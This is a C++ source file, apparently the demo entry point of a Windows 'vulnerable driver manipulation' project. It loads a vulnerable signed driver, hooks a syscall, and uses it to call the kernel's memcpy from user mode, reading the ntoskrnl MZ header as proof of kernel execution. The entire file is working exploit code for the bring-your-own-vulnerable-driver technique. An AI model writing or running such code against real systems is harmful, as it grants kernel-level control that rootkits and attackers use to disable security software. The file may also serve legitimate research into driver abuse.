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38 lines
1.1 KiB
38 lines
1.1 KiB
#include "vdm_ctx/vdm_ctx.h"
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int __cdecl main(int argc, char** argv)
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{
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const auto [drv_handle, drv_key] = vdm::load_drv();
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if (!drv_handle || drv_key.empty())
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{
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std::printf("[!] unable to load vulnerable driver...\n");
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return -1;
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}
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vdm::vdm_ctx vdm;
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std::printf("[+] drv_handle -> 0x%x, drv_key -> %s\n", drv_handle, drv_key.c_str());
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std::printf("[+] %s physical address -> 0x%p\n", vdm::syscall_hook.first, vdm::syscall_address.load());
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const auto ntoskrnl_base =
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reinterpret_cast<void*>(
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util::get_module_base("ntoskrnl.exe"));
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const auto ntoskrnl_memcpy =
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util::get_kernel_export("ntoskrnl.exe", "memcpy");
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std::printf("[+] ntoskrnl base address -> 0x%p\n", ntoskrnl_base);
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std::printf("[+] ntoskrnl memcpy address -> 0x%p\n", ntoskrnl_memcpy);
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short mz_bytes = 0;
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vdm.syscall<decltype(&memcpy)>(ntoskrnl_memcpy, &mz_bytes, ntoskrnl_base, sizeof mz_bytes);
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std::printf("[+] kernel MZ -> 0x%x\n", mz_bytes);
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if (!vdm::unload_drv(drv_handle, drv_key))
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{
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std::printf("[!] unable to unload vulnerable driver...\n");
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return -1;
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}
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std::printf("[+] press any key to close...\n");
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std::getchar();
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} |